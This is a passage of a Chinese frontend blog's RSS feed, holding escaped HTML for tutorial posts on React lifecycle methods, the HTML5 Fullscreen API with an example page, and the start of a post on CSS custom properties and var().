&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getDerivedStateFromProps&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;state&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// return 1; //没用
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;num&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;999&lt;/span&gt;, &lt;span style="color:#75715e"&gt;//合并到当前state对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="3-render"&gt;3. &lt;code&gt;render&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;最重要的&lt;code&gt;生命周期&lt;/code&gt;，没有之一。用来生成&lt;code&gt;虚拟节点（vDom）&lt;/code&gt;树。该方法只要遇到需要重新渲染都会运行。同样的，在&lt;code&gt;render&lt;/code&gt;中也严禁使用&lt;code&gt;setState&lt;/code&gt;，因为会导致无限&lt;code&gt;递归&lt;/code&gt;重新渲染导致&lt;code&gt;爆栈&lt;/code&gt;。&lt;/p&gt;</description></item><item><title>全屏API</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-019/</link><pubDate>Thu, 17 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-019/</guid><description>&lt;p&gt;在 HTML 中，可以通过调用浏览器的全屏 API 实现页面或页面中的某个元素全屏显示。全屏 API 是 HTML5 提供的一项功能，允许将元素切换为全屏模式。&lt;/p&gt;
&lt;h3 id="使用全屏-api-实现全屏"&gt;&lt;strong&gt;使用全屏 API 实现全屏&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;全屏 API 提供了以下常用方法和属性：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;requestFullscreen()&lt;/code&gt;：请求将元素设置为全屏模式。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;exitFullscreen()&lt;/code&gt;：退出全屏模式。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fullscreenElement&lt;/code&gt;：返回当前正在全屏显示的 DOM 元素，如果没有元素全屏，则返回 &lt;code&gt;null&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fullscreenchange&lt;/code&gt; 事件：当全屏状态发生变化时触发，用来监听进入或退出全屏。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="实现全屏的基本步骤"&gt;&lt;strong&gt;实现全屏的基本步骤&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;选择你希望全屏的元素。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;element.requestFullscreen()&lt;/code&gt; 方法来进入全屏。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;document.exitFullscreen()&lt;/code&gt; 来退出全屏模式。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="示例代码"&gt;&lt;strong&gt;示例代码&lt;/strong&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lang&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;en&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;charset&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&amp;gt;全屏示例&amp;lt;/&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; #fullscreenContent {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;lightblue&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;margin&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;auto&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;text-align&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;center&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;line-height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;fullscreenContent&amp;#34;&lt;/span&gt;&amp;gt;点击全屏&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;button&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;exitFullscreenBtn&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;style&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;display:none;&amp;#34;&lt;/span&gt;&amp;gt;退出全屏&amp;lt;/&lt;span style="color:#f92672"&gt;button&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fullscreenContent&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;fullscreenContent&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;exitFullscreenBtn&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;exitFullscreenBtn&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 进入全屏模式
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fullscreenContent&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;addEventListener&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;click&amp;#39;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;fullscreenContent&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;requestFullscreen&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fullscreenContent&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;requestFullscreen&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;fullscreenContent&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;mozRequestFullScreen&lt;/span&gt;) { &lt;span style="color:#75715e"&gt;// Firefox
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fullscreenContent&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;mozRequestFullScreen&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;fullscreenContent&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;webkitRequestFullscreen&lt;/span&gt;) { &lt;span style="color:#75715e"&gt;// Chrome, Safari and Opera
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fullscreenContent&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;webkitRequestFullscreen&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;fullscreenContent&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;msRequestFullscreen&lt;/span&gt;) { &lt;span style="color:#75715e"&gt;// IE/Edge
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fullscreenContent&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;msRequestFullscreen&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;exitFullscreenBtn&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;style&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;display&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;inline-block&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 退出全屏模式
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;exitFullscreenBtn&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;addEventListener&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;click&amp;#39;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (document.&lt;span style="color:#a6e22e"&gt;exitFullscreen&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; document.&lt;span style="color:#a6e22e"&gt;exitFullscreen&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (document.&lt;span style="color:#a6e22e"&gt;mozCancelFullScreen&lt;/span&gt;) { &lt;span style="color:#75715e"&gt;// Firefox
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; document.&lt;span style="color:#a6e22e"&gt;mozCancelFullScreen&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (document.&lt;span style="color:#a6e22e"&gt;webkitExitFullscreen&lt;/span&gt;) { &lt;span style="color:#75715e"&gt;// Chrome, Safari and Opera
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; document.&lt;span style="color:#a6e22e"&gt;webkitExitFullscreen&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (document.&lt;span style="color:#a6e22e"&gt;msExitFullscreen&lt;/span&gt;) { &lt;span style="color:#75715e"&gt;// IE/Edge
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; document.&lt;span style="color:#a6e22e"&gt;msExitFullscreen&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;exitFullscreenBtn&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;style&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;display&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;none&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 监听全屏状态变化
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; document.&lt;span style="color:#a6e22e"&gt;addEventListener&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;fullscreenchange&amp;#39;&lt;/span&gt;, () =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;全屏状态发生变化&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="代码解释"&gt;&lt;strong&gt;代码解释&lt;/strong&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;进入全屏&lt;/strong&gt;：点击 &lt;code&gt;#fullscreenContent&lt;/code&gt; 的 div 时，调用 &lt;code&gt;requestFullscreen()&lt;/code&gt; 方法使该元素进入全屏模式。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;退出全屏&lt;/strong&gt;：点击按钮 &lt;code&gt;#exitFullscreenBtn&lt;/code&gt;，调用 &lt;code&gt;document.exitFullscreen()&lt;/code&gt; 退出全屏模式。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;跨浏览器兼容性&lt;/strong&gt;：由于部分浏览器的全屏 API 有不同的实现方法，代码中兼容了各个主流浏览器的实现（例如 Chrome, Firefox, Safari, Edge）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;监听全屏状态变化&lt;/strong&gt;：使用 &lt;code&gt;fullscreenchange&lt;/code&gt; 事件来监听当前全屏模式的变化，可以在进入或退出全屏时执行额外操作。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="全屏-api-的一些注意事项"&gt;&lt;strong&gt;全屏 API 的一些注意事项&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;全屏 API 只能在用户交互（如点击或按键事件）后触发，不能通过脚本自动进入全屏模式，这是为了防止用户体验被打断。&lt;/li&gt;
&lt;li&gt;不同浏览器的全屏 API 实现可能稍有不同，因此通常需要做一些兼容性处理。&lt;/li&gt;
&lt;li&gt;在移动端设备上，全屏模式的行为可能与桌面端有所不同。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="总结"&gt;&lt;strong&gt;总结&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;HTML5 的全屏 API 提供了一种简单而直观的方法来让页面或元素进入全屏模式。通过 &lt;code&gt;requestFullscreen()&lt;/code&gt; 方法可以将任意元素全屏显示，&lt;code&gt;exitFullscreen()&lt;/code&gt; 则用来退出全屏模式。结合 &lt;code&gt;fullscreenchange&lt;/code&gt; 事件可以对全屏状态进行监控，实现更加丰富的交互体验。&lt;/p&gt;</description></item><item><title>变量</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-019/</link><pubDate>Thu, 10 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-019/</guid><description>&lt;h2 id="一变量的声明"&gt;一、变量的声明&lt;/h2&gt;
&lt;p&gt;声明变量的时候，变量名前面要加两根连词线（&lt;code&gt;--&lt;/code&gt;）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --foo: &lt;span style="color:#ae81ff"&gt;#7F583F&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --bar: &lt;span style="color:#ae81ff"&gt;#F7EFD2&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;上面代码中，&lt;code&gt;body&lt;/code&gt;选择器里面声明了两个变量：&lt;code&gt;--foo&lt;/code&gt;和&lt;code&gt;--bar&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;它们与&lt;code&gt;color&lt;/code&gt;、&lt;code&gt;font-size&lt;/code&gt;等正式属性没有什么不同，只是没有默认含义。所以 CSS 变量（CSS variable）又叫做**&amp;ldquo;CSS 自定义属性&amp;rdquo;**（CSS custom properties）。因为变量与自定义的 CSS 属性其实是一回事。&lt;/p&gt;
&lt;p&gt;你可能会问，为什么选择两根连词线（&lt;code&gt;--&lt;/code&gt;）表示变量？因为&lt;code&gt;$foo&lt;/code&gt;被 Sass 用掉了，&lt;code&gt;@foo&lt;/code&gt;被 Less 用掉了。为了不产生冲突，官方的 CSS 变量就改用两根连词线了。&lt;/p&gt;
&lt;p&gt;各种值都可以放入 CSS 变量。&lt;/p&gt;
&lt;blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#a6e22e"&gt;root&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --main-color: &lt;span style="color:#ae81ff"&gt;#4d4e53&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --main-bg: rgb(&lt;span style="color:#ae81ff"&gt;255&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;255&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;255&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --logo-border-color: &lt;span style="color:#66d9ef"&gt;rebeccapurple&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --header-height: &lt;span style="color:#ae81ff"&gt;68&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --content-padding: &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --base-line-height: &lt;span style="color:#ae81ff"&gt;1.428571429&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --transition-duration: &lt;span style="color:#ae81ff"&gt;.35&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;s&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --external-link: &lt;span style="color:#e6db74"&gt;&amp;#34;external link&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --margin-top: calc(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;vh&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;变量名大小写敏感，&lt;code&gt;--header-color&lt;/code&gt;和&lt;code&gt;--Header-Color&lt;/code&gt;是两个不同变量。&lt;/p&gt;
&lt;h2 id="二var-函数"&gt;二、var() 函数&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;var()&lt;/code&gt;函数用于读取变量。&lt;/p&gt;
&lt;blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;a&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;: &lt;span style="color:#a6e22e"&gt;var&lt;/span&gt;(&lt;span style="color:#f92672"&gt;--&lt;/span&gt;foo);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;text-decoration-color&lt;/span&gt;: &lt;span style="color:#a6e22e"&gt;var&lt;/span&gt;(&lt;span style="color:#f92672"&gt;--&lt;/span&gt;bar);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;var()&lt;/code&gt;函数还可以使用第二个参数，表示变量的默认值。如果该变量不存在，就会使用这个默认值。&lt;/p&gt;
&lt;blockquote&gt;
